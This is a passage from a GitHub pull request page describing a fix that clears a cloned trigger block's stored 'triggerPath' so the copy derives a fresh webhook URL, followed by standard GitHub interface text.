…k URL (#6091) Before a deploy, a trigger block's webhook URL is DERIVED — useWebhookManagement and the canvas both fall back to the block's own id, which cloning already regenerates, so copying an undeployed trigger yields a fresh URL. Deploy then registers the webhook at `path = triggerPath || block.id` and writes that literal path back into the source block's `triggerPath`. From then on the URL is STORED, and copy/paste copies it verbatim, so the clone renders the source's URL. Clear `triggerPath` on in-canvas clones so the clone derives a path from its new block id again. - Clears both the subBlocks structure and the sub-block value map: the value map is authoritative in mergeSubblockStateWithValues, and since no trigger declares `triggerPath` as a subblock it normally lives only in the store. - Deliberately unconditional and limited to `triggerPath`. No block declares that id, so there is nothing to collide with and no need to classify the block. - The sibling TRIGGER_RUNTIME_SUBBLOCK_IDS entries are left alone on purpose. `triggerConfig`/`triggerId` are user configuration. `webhookId` is a user-entered action field on Attio, Vercel, and Discord — and Attio/Vercel are trigger-capable, so clearing it by trigger-ness would destroy real config — while being unused as trigger state, since deploy mints its own row id and matches existing rows by block id. Scoped to the clone paths. No deploy-side, server-side, or import/export change.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
7 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.